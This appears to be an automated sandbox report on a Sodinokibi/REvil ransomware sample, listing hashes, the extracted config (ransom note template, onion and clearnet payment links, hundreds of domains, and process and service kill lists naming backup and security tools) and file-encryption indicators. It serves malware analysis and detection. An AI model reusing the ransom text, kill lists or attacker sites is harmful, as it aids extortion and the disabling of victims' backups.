Analysis
-
max time kernel
131s -
max time network
151s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
24-01-2022 01:08
Static task
static1
Behavioral task
behavioral1
Sample
c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe
Resource
win10-en-20211208
General
-
Target
c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe
-
Size
391KB
-
MD5
3e90448b831a31a59f12426668824b63
-
SHA1
5ef4d8f05886bc4e5d4f609bcb0d31f8fc620084
-
SHA256
c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd
-
SHA512
bd286065f98d6624597ed8c25bdc487acf72fd742a29dcc6e176cd0dd783ea2f0d378ffcc435cf655f10c75232af66bb95d1d3fe8e8452058965ecbc429ee495
Malware Config
Extracted
C:\5z3k8w-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/0ED9DD8958A65B5F
http://decryptor.cc/0ED9DD8958A65B5F
Extracted
sodinokibi
$2a$10$R6jfdY.02Ns/TL60z.A74O5Dw8.5EqXA63YzUP5X2NSO0l.4y0Gfa
1428
firstpaymentservices.com
krcove-zily.eu
softsproductkey.com
naturavetal.hr
corelifenutrition.com
leda-ukraine.com.ua
beaconhealthsystem.org
acomprarseguidores.com
extraordinaryoutdoors.com
mardenherefordshire-pc.gov.uk
stopilhan.com
triggi.de
anteniti.com
aunexis.ch
boosthybrid.com.au
bee4win.com
gadgetedges.com
tandartspraktijkheesch.nl
8449nohate.org
simoneblum.de
buymedical.biz
saka.gr
hairstylesnow.site
hexcreatives.co
abogadoengijon.es
smartypractice.com
simplyblessedbykeepingitreal.com
work2live.de
kariokids.com
abitur-undwieweiter.de
lynsayshepherd.co.uk
uranus.nl
pasivect.co.uk
upplandsspar.se
vitalyscenter.es
nijaplay.com
securityfmm.com
merzi.info
roadwarrior.app
bowengroup.com.au
faizanullah.com
yassir.pro
oemands.dk
pickanose.com
wasmachtmeinfonds.at
apolomarcas.com
paymybill.guru
gonzalezfornes.es
polychromelabs.com
makeflowers.ru
fransespiegels.nl
friendsandbrgrs.com
denovofoodsgroup.com
nicoleaeschbachorg.wordpress.com
lillegrandpalais.com
www1.proresult.no
corola.es
ditog.fr
groupe-frayssinet.fr
greenpark.ch
gasolspecialisten.se
kingfamily.construction
allure-cosmetics.at
justinvieira.com
hotelsolbh.com.br
danholzmann.com
purposeadvisorsolutions.com
crowd-patch.co.uk
wolf-glas-und-kunst.de
mrtour.site
xn--thucmctc-13a1357egba.com
cursosgratuitosnainternet.com
mirkoreisser.de
you-bysia.com.au
cuppacap.com
jorgobe.at
darrenkeslerministries.com
blog.solutionsarchitect.guru
sobreholanda.com
kao.at
bigasgrup.com
flexicloud.hk
jolly-events.com
herbayupro.com
samnewbyjax.com
evologic-technologies.com
1kbk.com.ua
associacioesportivapolitg.cat
kenhnoithatgo.com
cnoia.org
maureenbreezedancetheater.org
precisionbevel.com
freie-gewerkschaften.de
steampluscarpetandfloors.com
tanzprojekt.com
solhaug.tk
4youbeautysalon.com
dlc.berlin
alvinschwartz.wordpress.com
tips.technology
anthonystreetrimming.com
xoabigail.com
walkingdeadnj.com
vetapharma.fr
yourobgyn.net
vesinhnha.com.vn
simpliza.com
xlarge.at
strategicstatements.com
extensionmaison.info
maratonaclubedeportugal.com
sexandfessenjoon.wordpress.com
gopackapp.com
officehymy.com
enovos.de
alhashem.net
kissit.ca
raschlosser.de
bargningavesta.se
quemargrasa.net
sipstroysochi.ru
jasonbaileystudio.com
talentwunder.com
shsthepapercut.com
blacksirius.de
carolinepenn.com
theshungiteexperience.com.au
rocketccw.com
antenanavi.com
delchacay.com.ar
dr-pipi.de
serce.info.pl
fayrecreations.com
pt-arnold.de
personalenhancementcenter.com
smogathon.com
jakekozmor.com
profectis.de
wraithco.com
delawarecorporatelaw.com
tandartspraktijkhartjegroningen.nl
newyou.at
sweering.fr
withahmed.com
dw-css.de
people-biz.com
lecantou-coworking.com
em-gmbh.ch
themadbotter.com
brawnmediany.com
101gowrie.com
teknoz.net
dsl-ip.de
thewellnessmimi.com
sportiomsportfondsen.nl
elpa.se
proudground.org
ledmes.ru
ungsvenskarna.se
licor43.de
eraorastudio.com
accountancywijchen.nl
live-con-arte.de
ladelirante.fr
bingonearme.org
streamerzradio1.site
tampaallen.com
desert-trails.com
fannmedias.com
izzi360.com
edrcreditservices.nl
rostoncastings.co.uk
maxadams.london
blood-sports.net
schutting-info.nl
milltimber.aberdeen.sch.uk
coursio.com
testcoreprohealthuk.com
pointos.com
advokathuset.dk
mmgdouai.fr
erstatningsadvokaterne.dk
thailandholic.com
trapiantofue.it
transliminaltribe.wordpress.com
baronloan.org
babcockchurch.org
bimnapratica.com
hokagestore.com
exenberger.at
thedresserie.com
latribuessentielle.com
malychanieruchomoscipremium.com
tanzschule-kieber.de
reddysbakery.com
fiscalsort.com
meusharklinithome.wordpress.com
lange.host
epwritescom.wordpress.com
xn--fnsterputssollentuna-39b.se
maineemploymentlawyerblog.com
vermoote.de
jeanlouissibomana.com
lescomtesdemean.be
greenko.pl
parkcf.nl
mezhdu-delom.ru
chatizel-paysage.fr
ai-spt.jp
cuspdental.com
praxis-management-plus.de
leeuwardenstudentcity.nl
danskretursystem.dk
i-arslan.de
ncuccr.org
lionware.de
irishmachineryauctions.com
ncs-graphic-studio.com
trackyourconstruction.com
completeweddingkansas.com
atmos-show.com
2ekeus.nl
boldcitydowntown.com
tinkoff-mobayl.ru
ulyssemarketing.com
ampisolabergeggi.it
boulderwelt-muenchen-west.de
birnam-wood.com
celeclub.org
ccpbroadband.com
kojima-shihou.com
hrabritelefon.hr
nvwoodwerks.com
abl1.net
courteney-cox.net
gantungankunciakrilikbandung.com
sabel-bf.com
kmbshipping.co.uk
levihotelspa.fi
zimmerei-fl.de
restaurantesszimmer.de
aselbermachen.com
stampagrafica.es
greenfieldoptimaldentalcare.com
instatron.net
cerebralforce.net
huesges-gruppe.de
blogdecachorros.com
boisehosting.net
deoudedorpskernnoordwijk.nl
beyondmarcomdotcom.wordpress.com
hihaho.com
lusak.at
shiftinspiration.com
lefumetdesdombes.com
facettenreich27.de
daniel-akermann-architektur-und-planung.ch
team-montage.dk
verifort-capital.de
iviaggisonciliegie.it
myteamgenius.com
asiluxury.com
xn--fn-kka.no
mrsfieldskc.com
zervicethai.co.th
artotelamsterdam.com
promalaga.es
artige.com
katiekerr.co.uk
bbsmobler.se
dnepr-beskid.com.ua
bptdmaluku.com
botanicinnovations.com
allamatberedare.se
readberserk.com
schraven.de
schmalhorst.de
manijaipur.com
stingraybeach.com
poultrypartners.nl
ausbeverage.com.au
senson.fi
appsformacpc.com
werkkring.nl
corendonhotels.com
jiloc.com
aminaboutique247.com
takeflat.com
kamienny-dywan24.pl
smithmediastrategies.com
vdberg-autoimport.nl
bastutunnan.se
henricekupper.com
montrium.com
myhostcloud.com
advizewealth.com
manifestinglab.com
mountaintoptinyhomes.com
entopic.com
revezlimage.com
real-estate-experts.com
happyeasterimages.org
edv-live.de
surespark.org.uk
corona-handles.com
fatfreezingmachines.com
ecopro-kanto.com
tanciu.com
tongdaifpthaiphong.net
paradicepacks.com
offroadbeasts.com
alysonhoward.com
makeitcount.at
nativeformulas.com
comarenterprises.com
remcakram.com
hiddencitysecrets.com.au
sinal.org
sanaia.com
operaslovakia.sk
dareckleyministries.com
jobcenterkenya.com
wurmpower.at
shadebarandgrillorlando.com
solerluethi-allart.ch
candyhouseusa.com
marcuswhitten.site
huissier-creteil.com
pmc-services.de
plotlinecreative.com
turkcaparbariatrics.com
no-plans.com
micro-automation.de
brigitte-erler.com
ligiercenter-sachsen.de
cleliaekiko.online
jacquin-maquettes.com
pomodori-pizzeria.de
groupe-cets.com
antiaginghealthbenefits.com
toponlinecasinosuk.co.uk
body-armour.online
bhwlawfirm.com
bodyfulls.com
philippedebroca.com
balticdentists.com
chrissieperry.com
dushka.ua
carrybrands.nl
slwgs.org
foretprivee.ca
urclan.net
southeasternacademyofprosthodontics.org
lapmangfpt.info.vn
leather-factory.co.jp
urmasiimariiuniri.ro
grupocarvalhoerodrigues.com.br
diversiapsicologia.es
zweerscreatives.nl
imadarchid.com
klusbeter.nl
sterlingessay.com
hannah-fink.de
judithjansen.com
tradiematepro.com.au
haar-spange.com
blewback.com
chavesdoareeiro.com
yousay.site
pferdebiester.de
xtptrack.com
stemenstilte.nl
newstap.com.ng
norpol-yachting.com
htchorst.nl
leoben.at
bloggyboulga.net
hmsdanmark.dk
nokesvilledentistry.com
patrickfoundation.net
caribbeansunpoker.com
notmissingout.com
broseller.com
lightair.com
nancy-informatique.fr
lenreactiv-shop.ru
vannesteconstruct.be
sla-paris.com
thee.network
craftleathermnl.com
nestor-swiss.ch
westdeptfordbuyrite.com
seitzdruck.com
hashkasolutindo.com
ceid.info.tr
pmcimpact.com
carlosja.com
directwindowco.com
prochain-voyage.net
xn--rumung-bua.online
croftprecision.co.uk
iwelt.de
jsfg.com
theduke.de
latestmodsapks.com
renergysolution.com
deltacleta.cat
worldhealthbasicinfo.com
villa-marrakesch.de
destinationclients.fr
bouldercafe-wuppertal.de
marathonerpaolo.com
dpo-as-a-service.com
argenblogs.com.ar
bodyforwife.com
iyengaryogacharlotte.com
psa-sec.de
gasbarre.com
autopfand24.de
galserwis.pl
baustb.de
nakupunafoundation.org
mountsoul.de
eadsmurraypugh.com
rebeccarisher.com
klimt2012.info
parkstreetauto.net
eglectonk.online
bristolaeroclub.co.uk
vietlawconsultancy.com
thenewrejuveme.com
unim.su
berlin-bamboo-bikes.org
lucidinvestbank.com
cranleighscoutgroup.org
bafuncs.org
porno-gringo.com
vitavia.lt
skanah.com
catholicmusicfest.com
julis-lsa.de
noixdecocom.fr
pcprofessor.com
mepavex.nl
hebkft.hu
solinegraphic.com
hellohope.com
gmto.fr
victoriousfestival.co.uk
amylendscrestview.com
smart-light.co.uk
polymedia.dk
andersongilmour.co.uk
upmrkt.co
dinslips.se
fitnessingbyjessica.com
devok.info
bridgeloanslenders.com
cimanchesterescorts.co.uk
ora-it.de
antonmack.de
miraclediet.fun
1team.es
koko-nora.dk
elimchan.com
systemate.dk
controldekk.com
jobmap.at
hotelzentral.at
muamuadolls.com
ravensnesthomegoods.com
kath-kirche-gera.de
mercantedifiori.com
baumkuchenexpo.jp
selfoutlet.com
iyahayki.nl
campus2day.de
layrshift.eu
fensterbau-ziegler.de
fundaciongregal.org
all-turtles.com
art2gointerieurprojecten.nl
edelman.jp
hairnetty.wordpress.com
naswrrg.org
creative-waves.co.uk
katketytaanet.fi
ouryoungminds.wordpress.com
forestlakeuca.org.au
ecpmedia.vn
woodleyacademy.org
peterstrobos.com
mapawood.com
sarbatkhalsafoundation.org
coffreo.biz
asteriag.com
galleryartfair.com
ruralarcoiris.com
international-sound-awards.com
cirugiauretra.es
centromarysalud.com
crowcanyon.com
petnest.ir
ventti.com.ar
eco-southafrica.com
jandaonline.com
mariposapropaneaz.com
copystar.co.uk
vibehouse.rw
notsilentmd.org
imaginado.de
lascuola.nl
puertamatic.es
architekturbuero-wagner.net
better.town
lebellevue.fr
dr-tremel-rednitzhembach.de
refluxreducer.com
pixelarttees.com
agence-chocolat-noir.com
haremnick.com
deepsouthclothingcompany.com
dr-seleznev.com
christinarebuffetcourses.com
manutouchmassage.com
rota-installations.co.uk
csgospeltips.se
gaiam.nl
krlosdavid.com
brevitempore.net
stoeferlehalle.de
kadesignandbuild.co.uk
radaradvies.nl
ikads.org
lykkeliv.net
lukeshepley.wordpress.com
creamery201.com
tomaso.gr
freie-baugutachterpraxis.de
zonamovie21.net
summitmarketingstrategies.com
igorbarbosa.com
simpkinsedwards.co.uk
homng.net
vancouver-print.ca
heidelbergartstudio.gallery
educar.org
toreria.es
ateliergamila.com
fitovitaforum.com
deko4you.at
chefdays.de
spectrmash.ru
cactusthebrand.com
pier40forall.org
ilcdover.com
nsec.se
plv.media
expandet.dk
mediaclan.info
torgbodenbollnas.se
thomas-hospital.de
aglend.com.au
embracinghiscall.com
penco.ie
otsu-bon.com
lloydconstruction.com
argos.wityu.fund
eaglemeetstiger.de
geisterradler.de
ilso.net
darnallwellbeing.org.uk
kidbucketlist.com.au
saxtec.com
gamesboard.info
sofavietxinh.com
seagatesthreecharters.com
wellplast.se
socialonemedia.com
tennisclubetten.nl
polzine.net
pinkexcel.com
interactcenter.org
centrospgolega.com
wien-mitte.co.at
campusoutreach.org
smhydro.com.pl
farhaani.com
aurum-juweliere.de
d1franchise.com
x-ray.ca
thefixhut.com
tenacitytenfold.com
pv-design.de
garage-lecompte-rouen.fr
maryloutaylor.com
jameskibbie.com
ctrler.cn
sandd.nl
classycurtainsltd.co.uk
aarvorg.com
rollingrockcolumbia.com
calxplus.eu
joyeriaorindia.com
slupetzky.at
ivivo.es
craigmccabe.fun
ki-lowroermond.nl
rerekatu.com
tsklogistik.eu
backstreetpub.com
higadograsoweb.com
fotoscondron.com
irinaverwer.com
kunze-immobilien.de
thaysa.com
urist-bogatyr.ru
liikelataamo.fi
panelsandwichmadrid.es
aco-media.nl
odiclinic.org
pubweb.carnet.hr
35-40konkatsu.net
pawsuppetlovers.com
pasvenska.se
familypark40.com
ftlc.es
luxurytv.jp
mbfagency.com
ostheimer.at
parks-nuernberg.de
love30-chanko.com
gw2guilds.org
tonelektro.nl
seproc.hn
spargel-kochen.de
mousepad-direkt.de
jadwalbolanet.info
DupontSellsHomes.com
symphonyenvironmental.com
admos-gleitlager.de
physiofischer.de
limassoldriving.com
tastewilliamsburg.com
faronics.com
itelagen.com
ilive.lt
mbxvii.com
theletter.company
evangelische-pfarrgemeinde-tuniberg.de
airconditioning-waalwijk.nl
insp.bi
cite4me.org
dirittosanitario.biz
opatrovanie-ako.sk
havecamerawilltravel2017.wordpress.com
oncarrot.com
humanityplus.org
adultgamezone.com
phantastyk.com
div-vertriebsforschung.de
id-vet.com
123vrachi.ru
jvanvlietdichter.nl
markelbroch.com
charlottepoudroux-photographie.fr
effortlesspromo.com
parking.netgateway.eu
morawe-krueger.de
apprendrelaudit.com
augenta.com
esope-formation.fr
nuzech.com
heliomotion.com
mdk-mediadesign.de
theadventureedge.com
autodemontagenijmegen.nl
hkr-reise.de
seevilla-dr-sturm.at
alfa-stroy72.com
schoolofpassivewealth.com
webmaster-peloton.com
juneauopioidworkgroup.org
navyfederalautooverseas.com
walter-lemm.de
bigbaguettes.eu
dramagickcom.wordpress.com
schoellhammer.com
heurigen-bauer.at
kalkulator-oszczednosci.pl
cheminpsy.fr
gymnasedumanagement.com
oneheartwarriors.at
ogdenvision.com
oldschoolfun.net
skiltogprint.no
igfap.com
12starhd.online
euro-trend.pl
glennroberts.co.nz
digivod.de
pierrehale.com
synlab.lt
aodaichandung.com
tux-espacios.com
blossombeyond50.com
ncid.bc.ca
karacaoglu.nl
longislandelderlaw.com
perbudget.com
ivfminiua.com
sporthamper.com
innote.fi
nataschawessels.com
sloverse.com
milestoneshows.com
bockamp.com
mytechnoway.com
filmstreamingvfcomplet.be
verbisonline.com
actecfoundation.org
lachofikschiet.nl
abuelos.com
mediaacademy-iraq.org
resortmtn.com
allentownpapershow.com
troegs.com
paulisdogshop.de
jbbjw.com
piajeppesen.dk
hoteledenpadova.it
tetinfo.in
waynela.com
mirjamholleman.nl
nmiec.com
oslomf.no
allfortheloveofyou.com
ianaswanson.com
marchand-sloboda.com
transportesycementoshidalgo.es
stormwall.se
tuuliautio.fi
romeguidedvisit.com
cafemattmeera.com
slimidealherbal.com
sportverein-tambach.de
testzandbakmetmening.online
bestbet.com
c2e-poitiers.com
xltyu.com
kampotpepper.gives
wsoil.com.sg
365questions.org
the-domain-trader.com
importardechina.info
iqbalscientific.com
deprobatehelp.com
modestmanagement.com
citymax-cr.com
labobit.it
datacenters-in-europe.com
dublikator.com
arteservicefabbro.com
vanswigchemdesign.com
wmiadmin.com
jusibe.com
smalltownideamill.wordpress.com
quickyfunds.com
podsosnami.ru
linnankellari.fi
deschl.net
nacktfalter.de
cursoporcelanatoliquido.online
harveybp.com
iwr.nl
twohourswithlena.wordpress.com
edgewoodestates.org
smejump.co.th
goodgirlrecovery.com
mediaplayertest.net
monark.com
vibethink.net
mank.de
zflas.com
theapifactory.com
helenekowalsky.com
bunburyfreightservices.com.au
littlebird.salon
waveneyrivercentre.co.uk
bsaship.com
i-trust.dk
cyntox.com
spacecitysisters.org
baylegacy.com
kamahouse.net
drnice.de
winrace.no
maasreusel.nl
memaag.com
falcou.fr
frontierweldingllc.com
sw1m.ru
trulynolen.co.uk
vickiegrayimages.com
satyayoga.de
lmtprovisions.com
tinyagency.com
comparatif-lave-linge.fr
coding-marking.com
socstrp.org
easytrans.com.au
microcirc.net
idemblogs.com
onlybacklink.com
dubscollective.com
kirkepartner.dk
thomasvicino.com
blumenhof-wegleitner.at
architecturalfiberglass.org
autodujos.lt
aniblinova.wordpress.com
jyzdesign.com
rksbusiness.com
milanonotai.it
christ-michael.net
hugoversichert.de
calabasasdigest.com
slimani.net
ausair.com.au
strandcampingdoonbeg.com
stoneys.ch
bigler-hrconsulting.ch
psnacademy.in
parebrise-tla.fr
asgestion.com
rosavalamedahr.com
songunceliptv.com
logopaedie-blomberg.de
degroenetunnel.com
pocket-opera.de
naturstein-hotte.de
bookspeopleplaces.com
makeurvoiceheard.com
harpershologram.wordpress.com
gastsicht.de
foryourhealth.live
global-kids.info
abogadosaccidentetraficosevilla.es
biortaggivaldelsa.com
smokeysstoves.com
autofolierung-lu.de
rumahminangberdaya.com
sanyue119.com
drugdevice.org
plantag.de
the-virtualizer.com
humancondition.com
besttechie.com
modelmaking.nl
rhinosfootballacademy.com
analiticapublica.es
qlog.de
finde-deine-marke.de
consultaractadenacimiento.com
body-guards.it
coding-machine.com
fairfriends18.de
ziegler-praezisionsteile.de
bxdf.info
yamalevents.com
simulatebrain.com
despedidascostablanca.es
hypozentrum.com
praxis-foerderdiagnostik.de
crediacces.com
grelot-home.com
outcomeisincome.com
shonacox.com
femxarxa.cat
highimpactoutdoors.net
healthyyworkout.com
artallnightdc.com
stefanpasch.me
austinlchurch.com
daklesa.de
rushhourappliances.com
otto-bollmann.de
space.ua
psc.de
lapinvihreat.fi
bauertree.com
pridoxmaterieel.nl
tstaffing.nl
vloeren-nu.nl
mymoneyforex.com
iphoneszervizbudapest.hu
connectedace.com
macabaneaupaysflechois.com
coastalbridgeadvisors.com
new.devon.gov.uk
insidegarage.pl
roygolden.com
siluet-decor.ru
zenderthelender.com
balticdermatology.lt
hhcourier.com
nosuchthingasgovernment.com
d2marketing.co.uk
portoesdofarrobo.com
buroludo.nl
adoptioperheet.fi
devlaur.com
ra-staudte.de
321play.com.hk
todocaracoles.com
faroairporttransfers.net
shhealthlaw.com
qualitus.com
planchaavapor.net
craigvalentineacademy.com
waermetauscher-berechnen.de
smale-opticiens.nl
rehabilitationcentersinhouston.net
agence-referencement-naturel-geneve.net
kisplanning.com.au
echtveilig.nl
fibrofolliculoma.info
hvccfloorcare.com
wychowanieprzedszkolne.pl
mikeramirezcpa.com
caffeinternet.it
madinblack.com
jerling.de
cwsitservices.co.uk
vox-surveys.com
retroearthstudio.com
collaborativeclassroom.org
alsace-first.com
mir-na-iznanku.com
gemeentehetkompas.nl
run4study.com
spylista.com
noesis.tech
dezatec.es
girlillamarketing.com
thedad.com
atozdistribution.co.uk
theclubms.com
verytycs.com
highlinesouthasc.com
carriagehousesalonvt.com
rafaut.com
hushavefritid.dk
koken-voor-baby.nl
executiveairllc.com
zimmerei-deboer.de
nachhilfe-unterricht.com
y-archive.com
truenyc.co
kosterra.com
servicegsm.net
figura.team
commonground-stories.com
michaelsmeriglioracing.com
behavioralmedicinespecialists.com
ino-professional.ru
rozemondcoaching.nl
bouncingbonanza.com
uimaan.fi
ecoledansemulhouse.fr
ftf.or.at
quizzingbee.com
drfoyle.com
finediningweek.pl
stallbyggen.se
icpcnj.org
levdittliv.se
mooreslawngarden.com
gratispresent.se
visiativ-industry.fr
whittier5k.com
kedak.de
teresianmedia.org
conexa4papers.trade
narcert.com
live-your-life.jp
naturalrapids.com
joseconstela.com
tigsltd.com
ahouseforlease.com
nandistribution.nl
kaminscy.com
forskolorna.org
charlesreger.com
platformier.com
answerstest.ru
oneplusresource.org
bayoga.co.uk
cortec-neuro.com
promesapuertorico.com
johnsonfamilyfarmblog.wordpress.com
vihannesporssi.fi
richard-felix.co.uk
gporf.fr
tophumanservicescourses.com
camsadviser.com
funjose.org.gt
partnertaxi.sk
myhealth.net.au
supportsumba.nl
sportsmassoren.com
employeesurveys.com
lbcframingelectrical.com
anybookreader.de
zewatchers.com
aprepol.com
conasmanagement.de
pcp-nc.com
id-et-d.fr
fizzl.ru
journeybacktolife.com
houseofplus.com
americafirstcommittee.org
schlafsack-test.net
qualitaetstag.de
atalent.fi
luckypatcher-apkz.com
ihr-news.jp
sauschneider.info
webcodingstudio.com
web.ion.ag
zso-mannheim.de
ceres.org.au
crosspointefellowship.church
kostenlose-webcams.com
alten-mebel63.ru
brandl-blumen.de
celularity.com
kafu.ch
financescorecard.com
trystana.com
denifl-consulting.at
marietteaernoudts.nl
myzk.site
aakritpatel.com
ontrailsandboulevards.com
scenepublique.net
fax-payday-loans.com
globedivers.wordpress.com
sachnendoc.com
n1-headache.com
beautychance.se
devstyle.org
teczowadolina.bytom.pl
miriamgrimm.de
stupbratt.no
chaotrang.com
danubecloud.com
dubnew.com
waywithwords.net
stacyloeb.com
amerikansktgodis.se
almosthomedogrescue.dog
moveonnews.com
mooglee.com
herbstfeststaefa.ch
norovirus-ratgeber.de
ussmontanacommittee.us
sevenadvertising.com
pivoineetc.fr
drinkseed.com
intecwi.com
neuschelectrical.co.za
pay4essays.net
pogypneu.sk
kevinjodea.com
ohidesign.com
handi-jack-llc.com
spd-ehningen.de
mooshine.com
loprus.pl
xn--logopdie-leverkusen-kwb.de
tulsawaterheaterinstallation.com
helikoptervluchtnewyork.nl
mindpackstudios.com
4net.guru
durganews.com
binder-buerotechnik.at
spinheal.ru
ymca-cw.org.uk
centuryrs.com
boompinoy.com
spsshomeworkhelp.com
bricotienda.com
mdacares.com
onlyresultsmarketing.com
bildungsunderlebnis.haus
mrsplans.net
osterberg.fi
sojamindbody.com
blgr.be
tomoiyuma.com
rimborsobancario.net
imperfectstore.com
starsarecircular.org
castillobalduz.es
wacochamber.com
dontpassthepepper.com
stoeberstuuv.de
siliconbeach-realestate.com
kaliber.co.jp
bogdanpeptine.ro
saarland-thermen-resort.com
burkert-ideenreich.de
jenniferandersonwriter.com
bierensgebakkramen.nl
projetlyonturin.fr
commercialboatbuilding.com
c-a.co.in
videomarketing.pro
braffinjurylawfirm.com
seminoc.com
zzyjtsgls.com
insigniapmg.com
plastidip.com.ar
oceanastudios.com
danielblum.info
vorotauu.ru
noskierrenteria.com
micahkoleoso.de
filmvideoweb.com
triactis.com
syndikat-asphaltfieber.de
marketingsulweb.com
minipara.com
baptisttabernacle.com
berliner-versicherungsvergleich.de
bordercollie-nim.nl
chandlerpd.com
basisschooldezonnewijzer.nl
liliesandbeauties.org
webhostingsrbija.rs
dutchbrewingcoffee.com
dutchcoder.nl
nurturingwisdom.com
dekkinngay.com
geoffreymeuli.com
suncrestcabinets.ca
sahalstore.com
igrealestate.com
mylolis.com
midmohandyman.com
evergreen-fishing.com
pelorus.group
veybachcenter.de
lorenacarnero.com
woodworkersolution.com
hatech.io
slashdb.com
homesdollar.com
abogadosadomicilio.es
fotoideaymedia.es
bouquet-de-roses.com
biapi-coaching.fr
bundabergeyeclinic.com.au
presseclub-magdeburg.de
kuntokeskusrok.fi
bargningharnosand.se
rieed.de
sairaku.net
caribdoctor.org
punchbaby.com
stemplusacademy.com
associationanalytics.com
hardinggroup.com
tecnojobsnet.com
smessier.com
mrxermon.de
compliancesolutionsstrategies.com
bradynursery.com
launchhubl.com
kikedeoliveira.com
musictreehouse.net
kaotikkustomz.com
kindersitze-vergleich.de
abogados-en-alicante.es
nhadatcanho247.com
knowledgemuseumbd.com
lubetkinmediacompanies.com
digi-talents.com
first-2-aid-u.com
xn--singlebrsen-vergleich-nec.com
sagadc.com
shiresresidential.com
lapinlviasennus.fi
fitnessbazaar.com
assurancesalextrespaille.fr
cityorchardhtx.com
mylovelybluesky.com
geekwork.pl
ralister.co.uk
xn--vrftet-pua.biz
homecomingstudio.com
huehnerauge-entfernen.de
sotsioloogia.ee
kojinsaisei.info
vyhino-zhulebino-24.ru
olejack.ru
liveottelut.com
zieglerbrothers.de
lichencafe.com
clos-galant.com
whyinterestingly.ru
unetica.fr
colorofhorses.com
tarotdeseidel.com
modamilyon.com
milsing.hr
travelffeine.com
wari.com.pe
mastertechengineering.com
-
net
true
-
pid
$2a$10$R6jfdY.02Ns/TL60z.A74O5Dw8.5EqXA63YzUP5X2NSO0l.4y0Gfa
-
prc
excel
mydesktopservice
sqlwriter
ocomm
powerpnt
oracle
mydesktopqos
ocautoupds
ocssd
encsvc
mysqld_opt
msaccess
visio
agntsvc
winword
sqlservr
tbirdconfig
wordpad
xfssvccon
msftesql
firefoxconfig
dbsnmp
onenote
thunderbird
outlook
isqlplussvc
dbeng50
mspub
thebat64
sqbcoreservice
synctime
sqlbrowser
steam
sqlagent
infopath
mysqld
mysqld_nt
thebat
-
ransom_oneliner
All of your files are encrypted! Find {EXT}-readme.txt and follow instuctions
-
ransom_template
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion {EXT}. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/{UID} 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/{UID} Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: {KEY} Extension name: {EXT} ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
-
sub
1428
-
svc
vss
mepocs
veeam
svc$
backup
sophos
memtas
sql
Signatures
-
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
-
Modifies extensions of user files 12 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File renamed C:\Users\Admin\Pictures\CheckpointResume.crw => \??\c:\users\admin\pictures\CheckpointResume.crw.5z3k8w c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File renamed C:\Users\Admin\Pictures\CompareImport.raw => \??\c:\users\admin\pictures\CompareImport.raw.5z3k8w c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File renamed C:\Users\Admin\Pictures\RevokeFind.crw => \??\c:\users\admin\pictures\RevokeFind.crw.5z3k8w c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File renamed C:\Users\Admin\Pictures\SearchMove.png => \??\c:\users\admin\pictures\SearchMove.png.5z3k8w c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File renamed C:\Users\Admin\Pictures\UndoNew.tif => \??\c:\users\admin\pictures\UndoNew.tif.5z3k8w c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File renamed C:\Users\Admin\Pictures\JoinAdd.raw => \??\c:\users\admin\pictures\JoinAdd.raw.5z3k8w c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File renamed C:\Users\Admin\Pictures\ReadWatch.raw => \??\c:\users\admin\pictures\ReadWatch.raw.5z3k8w c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File renamed C:\Users\Admin\Pictures\CheckpointOpen.png => \??\c:\users\admin\pictures\CheckpointOpen.png.5z3k8w c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File renamed C:\Users\Admin\Pictures\ConvertFromPing.crw => \??\c:\users\admin\pictures\ConvertFromPing.crw.5z3k8w c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File renamed C:\Users\Admin\Pictures\ConvertFromSet.raw => \??\c:\users\admin\pictures\ConvertFromSet.raw.5z3k8w c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File renamed C:\Users\Admin\Pictures\CopyUndo.crw => \??\c:\users\admin\pictures\CopyUndo.crw.5z3k8w c3673d64eeafc5efafb3a756ac44f72785c28fb29912f61d0640969ec85d0afd.exe File renamed C:\Users\Admin\Pictures\DisableSplit.crw => \??\c:\users\admin\pictures\DisableSplit.crw.5z3k8w 